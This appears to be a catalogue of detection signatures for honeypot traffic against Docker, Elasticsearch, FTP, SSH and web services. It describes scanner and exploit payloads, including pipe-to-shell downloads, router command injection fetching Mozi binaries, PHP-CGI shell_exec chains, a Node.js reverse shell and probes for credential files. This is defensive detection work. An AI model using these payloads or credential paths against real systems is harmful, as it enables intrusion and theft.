docker — Docker API request to the /bad-request endpoint, typically generated when a client sends malformed traffic or uses an incorrect protocol against the Docker daemon. This URI is commonly observed during automated scanning or generic service probing rather than normal Docker client behavior.
docker — docker_command_test
docker — Attaches to a running Docker container’s standard input/output streams to interactively observe command output or maintain an active execution channel. Commonly used after container creation and start to control payload execution, monitor results, or operate an interactive shell within the container.
docker — Issues a Docker Remote API request to create a new container on the host. Commonly used during active exploitation to gain code execution, establish persistence, or mount host resources, often preceding container start and command execution requests.
docker — Subscribes to the Docker Remote API event stream with filters targeting a specific container to receive real-time lifecycle and state change notifications. Commonly used during active exploitation to track container execution, restarts, exits, or failures and to synchronize follow-on actions.
docker — Matches requests targeting the Docker API exec endpoint (/containers/*/exec), which is used to create or interact with command execution sessions inside a running container. This indicates an attempt to run commands within an existing container context rather than performing read-only inspection.
docker — Starts a previously created Docker container via the Remote API, triggering execution of the container’s configured command or entrypoint. Commonly used during exploitation to launch attacker-controlled workloads, establish persistence, or execute host-impacting actions through mounted resources or privileged containers.
docker — Docker API request to the container wait endpoint using the next-exit condition, which blocks until a container stops. This is normally used by Docker clients or orchestration tooling to monitor container lifecycle events, but requests from unknown sources can indicate active interaction with a reachable Docker daemon.
docker — Execution request starting /bin/bash inside a container. This indicates an attempt to obtain an interactive shell within the Docker environment, commonly associated with post-access activity where an attacker tries to run commands manually after discovering an exposed Docker API.
docker — Matches requests to the Docker API exec start route (/exec/*/start), which initiates execution of a previously created exec session inside a container. This represents active command execution rather than container inspection or metadata access.
docker — Matches Docker API requests using the GET HTTP method. Typically associated with read-only operations such as listing containers, retrieving metadata, inspecting resources, or monitoring state without modifying the container environment.
docker — Docker API request referencing an Ubuntu-based image. This indicates a container create or image pull action using an Ubuntu tag, which may reflect normal container deployment or automated activity interacting with exposed Docker services depending on context.
docker — Matches requests to the Docker API route GET /containers/json, which retrieves a list of containers and their metadata. This is typically used for environment enumeration and situational awareness prior to further interaction with the Docker daemon.
docker — Matches Docker API requests using the POST HTTP method. Typically used for state-changing actions such as container exec creation, start operations, or other write-side interactions with the Docker daemon. This primitive identifies active modification or command execution attempts rather than passive inspection.
elasticsearch — An HTTP GET request to the Elasticsearch /_cat/indices endpoint with output formatted as JSON. This primitive indicates enumeration of index metadata, including index names, document counts, storage size, and shard allocation details. Attackers and automated scanners commonly use this endpoint to assess data exposure, identify high-value indices, and estimate cluster scale before attempting data extraction or destructive actions. The inclusion of parameters such as format=json and bytes=b suggests scripted reconnaissance intended for machine parsing and precise size analysis.
elasticsearch — An HTTP GET request to the Elasticsearch /_cluster/stats endpoint. This primitive represents enumeration of cluster-level metadata such as node count, index totals, shard distribution, and storage statistics. Automated scanners and attackers commonly query this endpoint to assess cluster size, exposure level, and potential value before attempting deeper reconnaissance or data access.
elasticsearch — An HTTP GET request targeting the non-standard path /bad-request on an Elasticsearch-exposed port. This primitive represents automated protocol probing where a scanner sends intentionally invalid or placeholder paths to observe HTTP status codes and response structure. The request is not a legitimate Elasticsearch API call and is typically used during early-stage reconnaissance to confirm that the service speaks HTTP and to fingerprint error handling behavior before issuing Elasticsearch-specific queries.
elasticsearch — An HTTP GET request targeting /favicon.ico on an Elasticsearch-exposed port. This primitive represents generic HTTP path probing where a scanner tests common web resources to confirm protocol behavior and collect fingerprinting signals such as response codes and headers. The request is not part of normal Elasticsearch API usage and typically appears during broad reconnaissance alongside other invalid or non-Elasticsearch paths.
elasticsearch — An HTTP GET request targeting an Elasticsearch-compatible endpoint. This primitive represents read-oriented probing or enumeration activity against exposed Elasticsearch services, including requests to cluster, node, index, or generic web paths. Attackers and automated scanners commonly use GET requests to fingerprint the service, retrieve cluster metadata, or verify unauthenticated access. The primitive captures both Elasticsearch API paths such as /_cluster/stats or /_nodes and generic HTTP discovery paths observed during reconnaissance workflows.
elasticsearch — An HTTP GET request targeting /security.txt on an Elasticsearch-exposed port. This primitive represents generic web discovery where a scanner checks for the presence of a security contact file to aid fingerprinting and exposure mapping. The request is not part of normal Elasticsearch API usage and typically appears during broad reconnaissance alongside other non-Elasticsearch HTTP path probes.
elasticsearch — An HTTP GET request to the Elasticsearch /_nodes endpoint. This primitive represents node-level enumeration where a client attempts to retrieve information about cluster nodes, including roles, versions, plugins, transport details, and network exposure. Automated scanners and attackers commonly use this request to fingerprint the Elasticsearch deployment, identify vulnerable versions, and map the internal structure of the cluster prior to further probing or exploitation.
elasticsearch — An HTTP GET request to the root path / on an Elasticsearch-exposed service. This primitive represents baseline service discovery where a client checks the default HTTP response to confirm that the target speaks HTTP and to identify whether it exposes the standard Elasticsearch root banner or version metadata. Scanners commonly issue this request before moving on to specific API endpoints to validate protocol behavior and fingerprint the service.
ftp — Empty control-channel input received where an FTP command is expected, consisting of a zero-length payload with no command verb or parameters.
ssh — Execution of test -f /etc/endlessh/config && echo FOUND to verify the presence of the default Endlessh configuration file and emit a marker string if found. This pattern reflects targeted detection of an Endlessh deception service prior to continued attacker interaction.
docker — Command execution using chroot /mnt to decode base64 data into a tar archive, extract to /usr/bin, set executable permissions, and write cron entries for repeated execution.
ftp — FTP AUTH SSL command issued to request upgrading the connection to SSL/TLS encryption.
ftp — FTP AUTH TLS command issued to request upgrading the connection to TLS encryption.
ftp — FTP CWD command requesting a change of the current working directory to /backups.
ftp — FTP CWD command requesting a change of the current working directory to /configs.
ftp — FTP CWD command requesting a change of the current working directory to /data.
ftp — FTP CWD command requesting a change of the current working directory to /data/exports.
ftp — FTP CWD command requesting a change of the current working directory to /data/finance.
ftp — FTP CWD command requesting a change of the current working directory to /data/hr.
ftp — FTP CWD command requesting a change of the current working directory to /etc.
ftp — FTP CWD command requesting a change of the current working directory to /partners.
ftp — FTP CWD command requesting a change of the current working directory to /pub/releases.
ftp — FTP CWD command requesting a change of the current working directory to /pub/tools.
ftp — FTP CWD command requesting a change of the current working directory to /pub/vendor.
ftp — FTP CWD command requesting a change of the current working directory.
ftp — Non-printable byte sequence observed on the FTP control channel where a plaintext FTP command is expected.
ftp — FTP EPSV command requesting extended passive mode data connection parameters.
ftp — FTP PASV command requesting passive mode data connection parameters.
ftp — FTP FEAT command requesting the list of supported server features and extensions.
ftp — FTP STOR command attempting to upload the file Photo.lnk to the specified path.
ftp — FTP STOR command attempting to upload the file Photo.scr to the specified path.
ftp — FTP HELP command requesting a list of supported commands or server help information.
ftp — FTP LIST command requesting a directory listing from the server.
ftp — FTP LIST command requesting directory contents for the /pub/vendor path.
ftp — FTP LIST command requesting directory contents for the /reports path.
ftp — FTP LIST command requesting directory contents for the /scripts path.
ftp — FTP MLSD command requesting a machine-readable directory listing for the specified path.
ftp — TP NLST command requesting a simple name list of files in the current working directory.
ftp — FTP NOOP command issued to keep the control connection alive or verify that the server is responsive without performing any state-changing operation.
ftp — FTP PASS command issued with a password.
ftp — FTP PWD command requesting the current working directory.
ftp — FTP QUIT command requesting termination of the current session.
ftp — FTP TYPE A command setting the transfer mode to ASCII.
ftp — FTP TYPE I command setting the transfer mode to binary (image) format.
ftp — FTP OPTS UTF8 ON command enabling UTF-8 encoding.
ftp — FTP STOR command attempting to upload the file /pub/vendor/info.zip to the server.
ftp — FTP STOR command attempting to upload the file /reports/info.zip to the server.
ftp — FTP STOR command attempting to upload the file /scripts/info.zip to the server.
ftp — FTP SYST command requesting the server’s operating system type.
ftp — FTP USER command issued with a username.
ssh — Execution of test -d /opt/glutton && echo FOUND to verify the existence of the default Glutton installation directory and emit a marker string if present. This pattern reflects targeted detection of a Glutton honeypot deployment prior to continued attacker interaction.
ssh — Executes multi-fallback CPU core enumeration using nproc, explicit /usr/bin/nproc, and /proc/cpuinfo parsing, with per-command stderr suppression to ensure reliable execution across heterogeneous Linux environments.
ssh — Execution of ls -la ~ 2>/dev/null | wc -l to list all entries in the current user’s home directory (including hidden files) and return a numeric count. The use of wc -l suggests programmatic evaluation of directory population size, reflecting environment profiling or sandbox realism checks following shell access.
ssh — Execution of test -d /home/<username> && echo FOUND to verify the existence of a specific user’s home directory and emit a marker string if present. The conditional && echo FOUND indicates programmatic evaluation of the result, reflecting targeted local user presence enumeration following shell access.
elasticsearch — A request using the PRI method targeting * (for example PRI * HTTP/2.0), which represents the HTTP/2 connection preface being sent over a cleartext HTTP endpoint. This primitive indicates low-level protocol probing where a scanner tests HTTP/2 support or observes how the service handles unexpected method–target combinations. When seen on Elasticsearch-exposed ports, it reflects generic transport fingerprinting rather than legitimate Elasticsearch API interaction.
elasticsearch — A request using the PRI method, typically sent as PRI * HTTP/2.0, which is the HTTP/2 connection preface. This primitive indicates protocol negotiation probing where a scanner tests whether the service supports HTTP/2 or how it handles unexpected protocol upgrades. When observed against Elasticsearch ports, it usually represents generic HTTP stack fingerprinting rather than legitimate Elasticsearch interaction, helping the client determine server capabilities, proxy behavior, or error handling characteristics.
http — HTTP request targeting the generic API route path (/api/route). This represents probing of an application-defined endpoint and does not correspond to a known standardized service or technology by itself.
http — Request to /boaform/admin/formLogin with username and psd parameters, indicating an authentication attempt against a Boa-based router or embedded device administrative login endpoint.
http — Request to /boaform/admin/formLogin, indicating access attempt to a Boa web server–based router or embedded device administrative login endpoint.
http — Identifies HTTP request bodies containing the URL-encoded parameter 0x[] with the value androxgh0st, a distinctive payload marker associated with Androxgh0st exploitation activity and automated scanning campaigns targeting web applications and exposed services.
http — Identifies HTTP request bodies containing a JSON-RPC initialize call where the clientInfo.name is gitmc-org-mcp-scanner, indicating automated scanning activity associated with the GitMC MCP scanner client.
http — HTTP request body containing a multipart/form-data payload with a WebKitFormBoundary and structured parts resembling Next.js Flight data ("$1:aa:aa" format).
http — HTTP request body containing a shell command that attempts to download a remote script using wget (with --no-check-certificate -qO-) or fallback to curl -sk, piping the response directly to sh -s for execution (e.g., apache.selfrep). Represents inline remote script retrieval and immediate execution via pipe-to-shell within the HTTP payload.
http — HTTP request targeting /cgi-bin/bin/sh, attempting direct access to a shell binary through the CGI directory path. Represents a request path explicitly referencing /bin/sh under /cgi-bin/, commonly associated with command execution attempts against misconfigured or vulnerable CGI environments.
http — HTTP request targeting /cgi-bin/ with repeated percent-encoded directory traversal sequences (%%32%65%%32%65 → ..) resolving to /bin/sh. Represents a traversal attempt using double-encoded dot segments to escape the CGI directory and invoke the system shell (/bin/sh) directly via the request path.
http — HTTP request targeting the Cline configuration path (/.cline/settings.json), indicating probing for exposed configuration files.
http — HTTP request path targeting /containers/json, referencing the Docker Remote API endpoint used to list containers. Represents direct access to the Docker daemon HTTP API, commonly observed in probes against exposed Docker services.
http — HTTP request path targeting /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, containing a duplicated vendor/ segment while referencing the PHPUnit eval-stdin.php utility script. Represents a recursive or fuzzed path variant attempting to locate an exposed PHPUnit execution endpoint under nested or misconfigured Composer directory structures.
http — HTTP POST body containing username=admin and password value Pr0d_Db_P@ss_2024! (URL-encoded as Pr0d_Db_P%40ss_2024%21), consistent with automated default or weak credential authentication attempts.
http — HTTP POST body containing username=webapp and password Pr0d_Db_P@ss_2024! (URL-encoded as Pr0d_Db_P%40ss_2024%21), consistent with automated default or environment-style credential spraying against ASP-based authentication endpoints.
http — Identifies HTTP requests targeting /.git/HEAD, indicating an attempt to access the Git repository metadata directory exposed on a web server. The HEAD file reveals the current branch reference (e.g., ref: refs/heads/main) and confirms that the .git directory is publicly accessible, often preceding full repository dumping attempts
http — POST request to /goform/websLogin with user_name and password parameters, indicating an authentication attempt against a router or embedded device login endpoint.
http — Request to /goform/websLogin, indicating access attempt to a router or embedded device login endpoint commonly targeted for authentication or brute-force attempts.
http — HTTP request to a GPON/embedded router diagnostic endpoint (XWebPageName=diag, diag_action=ping) where the dest_host parameter contains shell command injection syntax (e.g., backticks or ;) followed by a wget invocation that attempts to download a remote payload and redirect it to a local file (e.g., -O - > /tmp/gpon808). This represents a direct command injection payload embedded in the query string of the HTTP request.
http — HTTP POST body containing command injection via diag_action=ping with backtick execution and wget download of Mozi.m to /tmp, indicative of active exploitation of GPON router command injection vulnerabilities to deploy Mozi botnet malware.
http — HTTP request targeting the literal path /hello.world. Represents a direct request for a dot-delimited filename at the web root, often observed in generic probing, automated scanners, or simplistic connectivity checks.
http — Identifies outbound HTTP requests to ipv4.icanhazip.com on port 443, commonly used to retrieve the public IPv4 address of the host. This is typically performed for external IP discovery, environment validation, or infrastructure fingerprinting.
http — HTTP request to /json on ip-api.com (e.g., /http:/ip-api.com/json) indicating an outbound geolocation lookup attempt against the public ip-api.com JSON endpoint. Represents a direct request path referencing the ip-api JSON API within the HTTP payload.
https — HTTP request containing a JSON payload with trading order parameters (symbol, type, side, price, size, clientOid), indicating submission of an order-like request to an application endpoint.
http — HTTP query string where the lang parameter contains multi-level directory traversal sequences (../../../../../../../../) resolving toward /tmp/index1. Represents a direct path traversal attempt embedded in a parameter value to reference or include a file outside the intended application directory scope.
http — HTTP request using the GET method, observed as the request method within the web request stream.
http — Multipart form-data payload containing prototype pollution patterns (__proto__, constructor:constructor) combined with process.mainModule.require('child_process').execSync() invocation and NEXT_REDIRECT response manipulation. Indicative of targeted Next.js / Node.js server-side remote code execution exploitation attempts.
http — Multipart form-data payload containing __proto__ pollution and constructor:constructor gadget access within a React Server Components–style serialized object ($1: references). Indicative of reconnaissance or staged exploitation attempts targeting Next.js / Node.js deserialization vulnerabilities.
http — HTTP request targeting /_next.
https — HTTP request targeting the OpenClaw configuration path (/.openclaw/openclaw.json), commonly used to discover exposed agent configuration files.
http — HTTP request containing the literal path /google.com:443, indicative of automated open proxy discovery where the scanner tests whether the target server will forward traffic to an external TLS endpoint.
http — HTTP request targeting /api/system, indicative of automated API endpoint enumeration attempting to discover system-level or administrative functionality in REST-style applications.
http — HTTP request targeting the path /app/.env, observed as a direct URI access attempting to retrieve environment configuration variables from an application directory.
http — HTTP request targeting the path /bad-request, observed as a direct URI access within the web request stream.
http — HTTP request to /cgibin/mainfunction.cgi with action=login and keyPath containing wget execution of memory_load.mips followed by chmod 777 and shell execution.
http — HTTP request targeting the path /config.json, observed as a direct URI access attempting to retrieve application configuration data from the server.
http — HTTP request targeting /doc/page/login.asp, indicative of reconnaissance or authentication endpoint discovery against ASP-based administrative or document management interfaces.
http — HTTP request targeting the path /.aws/credentials, observed as a direct URI access attempting to retrieve AWS credential configuration data from the server.
http — HTTP request targeting the path /.bash_history, observed as a direct URI access attempting to retrieve shell command history data from the server.
http — HTTP request targeting the path /.env, observed as a direct URI access attempting to retrieve environment configuration variables from the web application.
http — HTTP request targeting the path /.env.development, observed as a direct URI access attempting to retrieve environment configuration data from a development environment.
http — HTTP request targeting the path /.env.local, observed as a direct URI access attempting to retrieve environment configuration data from the web application.
http — HTTP request targeting the path /.env.production, observed as a direct URI access attempting to retrieve environment configuration data from the production environment.
http — HTTP request targeting the path /.env.staging, observed as a direct URI access attempting to retrieve environment configuration data from the staging environment.
http — HTTP request targeting the path /.git/config, observed as a direct URI access attempting to retrieve Git repository configuration data.
http — HTTP request to /global/health, consistent with automated endpoint enumeration or health-check discovery scanning targeting REST-style API structures.
http — HTTP request targeting /GponForm/diag_Form, a known diagnostic endpoint exposed by GPON routers and similar IoT devices. Commonly abused in remote command injection exploitation attempts.
http — HTTP request targeting the path /hDnB, observed as a direct URI access within the web request stream.
http — Identifies HTTP requests where the URI path contains a literal IPv4 address followed by port 7227 (e.g., /x.x.x.x:7227). This pattern commonly appears in automated scanning or propagation routines iterating over target IP addresses using a fixed service port.
http — HTTP request targeting the path /ksf7n_y2tujc3su5kv, observed as a direct URI access within the web request stream.
http — HTTP request to /ping.cgi.
http — HTTP request targeting the path /SDK/webLanguage, observed as a direct URI access within the web request stream.
http — HTTP request targeting /wp-admin/setup-config.php, a WordPress installation configuration endpoint, observed as a direct URI access within the web request stream.
http — HTTP request targeting the /xmlrpc.php endpoint. This path is commonly exposed by web applications for XML-RPC functionality and is frequently accessed during automated probing or interaction.
http — HTTP request to /zc.
http — HTTP query string containing a lang= parameter with multi-level directory traversal targeting usr/local/lib/php/pearcmd, followed by a config-create invocation and inline PHP code (<?echo(md5("hi"));?>) intended to be written to a temporary file (e.g., /tmp/index1.php). Represents a direct PEAR pearcmd.php abuse attempt combining path traversal, configuration command execution, and PHP payload file creation within the query string.
http — HTTP query string containing percent-encoded PHP-CGI directive overrides (e.g., %ADd+allow_url_include=1 and %ADd+auto_prepend_file=php://input) intended to enable remote file inclusion and force execution of attacker-supplied PHP code from the request body. Represents a direct attempt to manipulate PHP runtime configuration via query parameters, commonly associated with PHP-CGI argument injection exploits.
http — HTTP request body containing PHP code that executes echo(md5("Hello PHPUnit")). Represents a minimal proof-of-execution marker commonly used to verify successful remote code execution against exposed PHPUnit components, without additional payload delivery.
http — HTTP request body containing PHP shell_exec(base64_decode(...)) execution chain with embedded download-and-execute logic and CVE-2024-4577 verification marker (Hello CVE-2024-4577). Indicative of active exploitation attempts targeting PHP-CGI argument injection vulnerability (CVE-2024-4577).
http — HTTP request body containing PHP code that invokes shell_exec() on a base64_decode() string, which decodes to a remote script download command (wget or curl) piped directly to sh -s (e.g., cve_2024_4577.selfrep). The payload also echoes an md5() marker string (e.g., md5("Hello CVE-2024-4577")) commonly used to verify successful remote code execution. Represents inline PHP-based command execution with obfuscated remote self-replication payload delivery embedded directly in the HTTP body.
http — HTTP request path targeting /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, referencing the PHPUnit eval-stdin.php utility script within the Composer vendor/ directory. Represents direct access to a development testing component that, if exposed in production, can allow execution of attacker-supplied PHP code via standard input.
http — HTTP request path targeting /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php, referencing the legacy PHPUnit eval-stdin.php utility location. Represents direct access to an exposed development dependency file within the vendor/ directory that can permit execution of attacker-supplied PHP code if accessible in a production environment.
http — HTTP request path targeting /vendor/phpunit/phpunit/LICENSE/eval-stdin.php, combining the PHPUnit LICENSE directory with eval-stdin.php. Represents a malformed or fuzzed path probe attempting to locate an exposed PHPUnit eval-stdin.php execution endpoint under non-standard directory structures within the vendor/ tree.
http — HTTP request path targeting /vendor/phpunit/src/Util/PHP/eval-stdin.php, referencing the PHPUnit eval-stdin.php utility script within the vendor/ directory structure. Represents direct access to a testing component that, if publicly exposed, can allow execution of attacker-supplied PHP code through standard input.
http — HTTP request path targeting /vendor/phpunit/Util/PHP/eval-stdin.php, referencing the PHPUnit eval-stdin.php utility script within the vendor/ directory. Represents direct access to a development testing file that can permit execution of attacker-supplied PHP code if exposed in a production environment.
http — HTTP request containing pingIpAddress parameter injection using ; to execute shell commands, downloading an ARM7 binary via wget to /tmp/arm7, setting executable permissions with chmod 777, and executing the payload.
http — HTTP request containing query parameter action=getInfo.
http — HTTP request containing images/ within the query string, indicative of automated scanning artifacts or malformed request generation often observed in bot-driven exploitation attempts.
http — HTTP query string containing import&raw, observed within the request URL as client-supplied parameters.
http — HTTP query string containing next_file=netgear.cfg&todo=syscmd&cmd=rm -rf /tmp/*;wget http://*:*/Mozi.m -O /tmp/netgear;sh netgear&curpath=/¤tsetting.htm=1, representing a command injection attempt leveraging the syscmd interface to remove temporary files, download Mozi.m, and execute it.
http — HTTP query string parameter redirect_to=%2Fwp-admin%2Fsetup-config.php, indicating a redirect target to the WordPress setup configuration endpoint.
http — Matches HTTP requests attempting to access a backup copy of the AWS CLI configuration file at /.aws/config.bak. This primitive helps identify reconnaissance or exploitation attempts where attackers probe for exposed backup or temporary configuration files that may reveal cloud account settings, profiles, or role configuration due to misconfiguration, directory listing, or file disclosure vulnerabilities.
http — Matches HTTP requests attempting to access the sensitive AWS CLI configuration file /.aws/config. This primitive helps identify reconnaissance or exploitation activity where attackers probe for exposed cloud configuration data, including account profiles, regions, and role settings, typically through path traversal, local file inclusion, or misconfigured web server directory exposure.
http — Matches HTTP requests attempting to access a backup copy of an AWS credentials file at /.aws/credentials.bak. This primitive helps identify reconnaissance or exploitation attempts where attackers probe for exposed backup or temporary credential files that may contain cloud access keys or secrets due to misconfigured file serving, directory listing, or file disclosure vulnerabilities.
http — Matches HTTP requests attempting to access a potentially encrypted AWS credentials file at /.aws/credentials.gpg. This primitive helps identify reconnaissance or exploitation attempts where attackers probe for protected or archived cloud credential material that may still be retrievable due to misconfigured file exposure, directory listing, or file disclosure vulnerabilities.
http — Matches HTTP requests attempting to access a JavaScript file named /.aws/credentials.js. This primitive helps identify reconnaissance or exploitation attempts where attackers probe for improperly stored or exposed AWS credential material embedded in script files, often due to insecure deployment practices, directory exposure, or file disclosure vulnerabilities.
http — Matches HTTP requests attempting to access a JSON-formatted AWS credentials file at /.aws/credentials.json. This primitive helps identify reconnaissance or exploitation attempts where attackers probe for exposed cloud authentication material stored in alternative formats, commonly through directory listing, local file inclusion, or other file disclosure vulnerabilities.
http — Matches HTTP requests attempting to access a potentially obfuscated or non-standard AWS credential file path such as /.AWS_/credentials. This primitive helps identify reconnaissance or exploitation activity where attackers probe for misnamed, hidden, or incorrectly secured credential directories that may expose cloud access keys through file disclosure or path traversal vulnerabilities.
http — Matches HTTP requests attempting to access a plaintext file at /.aws/credentials.txt. This primitive helps identify reconnaissance or exploitation attempts where attackers probe for exposed cloud credential material stored in unsecured text files, often accessible due to directory listing, misconfigured file serving, or file disclosure vulnerabilities.
http — Matches HTTP requests attempting to access a configuration file at /.aws/keys.conf. This primitive helps identify reconnaissance or exploitation attempts where attackers probe for exposed AWS key material or custom credential configuration files that may be accessible due to insecure deployment practices, directory listing, or file disclosure vulnerabilities.
http — Matches HTTP requests attempting to access a file at /.aws/s3/config.json. This primitive helps identify reconnaissance or exploitation attempts where attackers probe for exposed Amazon S3 configuration data or credential-related settings that may be retrievable due to misconfigured file serving, directory listing, or file disclosure vulnerabilities.
http — Matches HTTP requests targeting the /.aws directory. This primitive helps identify reconnaissance or exploitation attempts where attackers probe for exposed AWS configuration directories that may contain credential files, config profiles, or other sensitive cloud authentication material accessible due to misconfigured file serving or directory listing.
http — Matches HTTP requests attempting to access the sensitive file path /home/node/.aws/credentials. This primitive helps identify reconnaissance or exploitation attempts targeting exposed AWS credential files for Node.js application users, commonly via path traversal, local file inclusion, or misconfigured file-serving endpoints.
http — Matches HTTP requests attempting to access the local file path /home/ubuntu/.aws/credentials. This primitive helps identify reconnaissance or exploitation activity where attackers probe for exposed AWS credential files on misconfigured web servers or vulnerable file-read endpoints, often as part of cloud credential harvesting attempts.
http — Matches HTTP requests targeting the sensitive local process file /proc/self/environ. This primitive helps identify exploitation or reconnaissance attempts where attackers try to read environment variables from server processes, often to extract secrets such as credentials, API keys, or configuration data through file disclosure or path traversal vulnerabilities.
http — Matches HTTP requests attempting to access the sensitive file path /root/.aws/credentials. This primitive helps identify exploitation or reconnaissance activity where attackers probe for exposed AWS credential files belonging to the root user, typically via file disclosure, path traversal, or misconfigured web application endpoints.
http — Matches HTTP requests attempting to access the sensitive environment configuration file /root/.env. This primitive helps identify reconnaissance or exploitation attempts where attackers probe for exposed application secrets, credentials, API keys, or database connection strings through file disclosure, path traversal, or misconfigured web server routes.
http — Matches HTTP requests targeting the hidden or alternate WordPress configuration file path /._wp-config.php. This primitive helps identify reconnaissance or exploitation attempts where attackers probe for backup, temporary, or filesystem-artifact variants of wp-config.php that may expose database credentials or secret keys through misconfiguration or unintended file exposure.
http — Matches HTTP requests targeting the WordPress Smart Manager plugin endpoint /wp-content/plugins/smart-manager-for-wp-e-commerce/sm/woo-json.php. This primitive helps identify reconnaissance or exploitation attempts against known WordPress plugin functionality often accessed by automated scanners or scripted probes.
http — HTTP request targeting /robots.txt.
http — HTTP request path targeting /phpunit/src/Util/PHP/eval-stdin.php from the web root, referencing the PHPUnit eval-stdin.php utility script without a vendor/ prefix. Represents a direct probe for an exposed PHPUnit execution endpoint in non-standard or manually deployed directory structures.
http — HTTP request path targeting /phpunit/phpunit/src/Util/PHP/eval-stdin.php from the web root, referencing the PHPUnit eval-stdin.php utility script outside the typical vendor/ prefix. Represents a direct probe for an exposed PHPUnit execution endpoint in alternative or misconfigured directory layouts.
http — HTTP request path targeting /phpunit/Util/PHP/eval-stdin.php from the web root, referencing the legacy PHPUnit eval-stdin.php utility location without a vendor/ directory prefix. Represents a probe for an exposed PHPUnit code execution endpoint in alternative or misconfigured directory layouts.
http — HTTP request path targeting /phpunit/phpunit/Util/PHP/eval-stdin.php from the web root, referencing the legacy PHPUnit eval-stdin.php utility location outside the typical vendor/ directory structure. Represents a probe for an exposed PHPUnit code execution endpoint in alternative or misconfigured deployments.
https — Request to /auth.html, indicating access attempt to a static authentication interface.
https — HTTPS request targeting /autodiscover/autodiscover.json.
https — HTTPS request body containing a GraphQL introspection query (__schema).
https — HTTPS request body containing a multipart/form-data payload (WebKit boundary) embedding a structured JSON object with __proto__ property manipulation and constructor:constructor references, alongside JavaScript code invoking process.mainModule.require('net') and child_process.spawn('/bin/sh'). The payload establishes a reverse shell by connecting to a remote host (e.g., ip:port) and piping /bin/sh over a TCP socket. Represents inline prototype pollution–style object injection combined with Node.js reverse shell execution logic embedded directly in the HTTPS request body.
https — HTTPS request body containing a shell command that attempts to retrieve a remote script from https://*/sh using wget (--no-check-certificate -qO-) or fallback to curl -sk, piping the downloaded content directly to sh -s apache.selfrep for execution. Represents inline remote script download and immediate pipe-to-shell execution embedded in the HTTPS request body.
https — HTTPs request targeting /cgi-bin/ with repeated percent-encoded directory traversal sequences (%%32%65%%32%65 → ..) resolving to /bin/sh. Represents a traversal attempt using double-encoded dot segments to escape the CGI directory and invoke the system shell (/bin/sh) directly via the request path.
https — Request to /cgi-bin/bin/sh, indicating an attempt to directly invoke a shell via a CGI endpoint, commonly associated with command execution or exploitation of vulnerable embedded systems.
https — Request to /cgi-bin/userLogin, indicating probing for exposed CGI-based authentication endpoints.
https — HTTPS request targeting the application-specific path (/contract/private/submit-order). This indicates probing of a non-standard, likely internal or restricted endpoint without implying successful access or known technology.
https — Request to /containers/json, indicating access attempt to the Docker Remote API endpoint used to list containers, suggesting probing for exposed Docker daemons.
https — HTTPS request to /favicon.ico, commonly used by automated scanners or clients to verify HTTPS service availability or retrieve the site icon without interacting with application-specific endpoints.
https — Identifies HTTPs requests targeting /.git/HEAD, indicating an attempt to access the Git repository metadata directory exposed on a web server. The HEAD file reveals the current branch reference (e.g., ref: refs/heads/main) and confirms that the .git directory is publicly accessible, often preceding full repository dumping attempts
https — Request to /.git/hooks/prepare-commit-msg.sample, indicating access attempt to a sample Git hook script within a potentially exposed .git directory.
https — Request to /.git/hooks/update.sample, indicating access attempt to a sample Git hook script within a potentially exposed .git directory.
https — Request to /.git/info/exclude, indicating access attempt to Git’s repository-specific ignore configuration file within a potentially exposed .git directory.
https — Request to /global-protect/login.esp, indicating probing for Palo Alto GlobalProtect VPN login interface.
https — HTTPs request to a GPON/embedded router diagnostic endpoint (XWebPageName=diag, diag_action=ping) where the dest_host parameter contains shell command injection syntax (e.g., backticks or ;) followed by a wget invocation that attempts to download a remote payload and redirect it to a local file (e.g., -O - > /tmp/gpon808). This represents a direct command injection payload embedded in the query string of the HTTPs request.
https — Request to gRPC server reflection endpoint /grpc.reflection.v1alpha.ServerReflection/ServerReflectionInfo, indicating that server reflection is enabled and exposed.
https — Request to /hello.world, indicating access to a non-standard or placeholder endpoint often used in scanning, testing, or generic probing activity.
https — Request to /index.php, indicating access to a common application entry point often used as a baseline probe or generic request against PHP-based web applications.
https — HTTPs request to /json on ip-api.com (e.g., /http:/ip-api.com/json) indicating an outbound geolocation lookup attempt against the public ip-api.com JSON endpoint. Represents a direct request path referencing the ip-api JSON API within the HTTPs payload.
https — HTTP JSON-RPC request invoking initialize method with clientInfo gitmc-org-mcp-scanner, indicating automated MCP endpoint probing.
https — Request to /llm_config.py, indicating probing for an exposed Python LLM configuration file.
https — HTTPS request using the OPTIONS method.
https — Request to /.moltbot/agents/main/agent/auth-profiles.json, indicating probing for exposed Moltbot agent authentication profile configuration.
https — Request to /.moltbot/moltbot.json, indicating access to a Moltbot JSON configuration file.
https — HTTPS request targeting the Outlook Web App authentication endpoint (/owa/auth/logon.aspx), indicating probing for exposed or accessible OWA login interfaces.
https — Identifies HTTP/HTTPS requests targeting /a2billing/admin/Public/index.php, a known administrative entry point for A2Billing installations. This path is commonly probed during automated scanning to detect exposed A2Billing panels for enumeration or exploitation attempts.
https — HTTPS request to /ai_config.py path.
https — HTTPS request to /api/graphql.
https — HTTPS request targeting the path /app/.env, observed as a direct URI access attempting to retrieve environment configuration variables from an application directory.
https — HTTPS request targeting the path /bad-request, observed as a direct URI access within the web request stream.
https — HTTPS request targeting the path /config.json, observed as a direct URI access attempting to retrieve application configuration data from the server.
https — HTTPS request to /developmentserver/metadatauploader.
https — HTTPS request targeting the path /.aws/credentials, observed as a direct URI access attempting to retrieve AWS credential configuration data from the server.
https — HTTPS request targeting the path /.bash_history, observed as a direct URI access attempting to retrieve shell command history data from the server.
https — HTTPS request targeting the path /.env, observed as a direct URI access attempting to retrieve environment configuration variables from the web application.
https — HTTPS request targeting the path /.env.development, observed as a direct URI access attempting to retrieve environment configuration data from a development environment.
https — HTTPS request targeting the path /.env.local, observed as a direct URI access attempting to retrieve environment configuration data from the web application.
https — HTTP request targeting the path /.env.production, observed as a direct URI access attempting to retrieve environment configuration data from the production environment.
https — HTTPS request targeting the path /.env.staging, observed as a direct URI access attempting to retrieve environment configuration data from the staging environment.
https — HTTPS request targeting the path /.git/config, observed as a direct URI access attempting to retrieve Git repository configuration data.
https — HTTPS request to /dump.sql path.
https — HTTPS request to /gql.
https — HTTPS request to /graphql.
https — HTTPS request targeting the path /hDnB, observed as a direct URI access within the web request stream
https — HTTPS request targeting the path /ksf7n_y2tujc3su5kv, observed as a direct URI access within the web request stream
https — HTTPS request to /litellm_config.yaml path.
https — HTTP request targeting /mcp path, indicating direct access attempt to MCP endpoint.
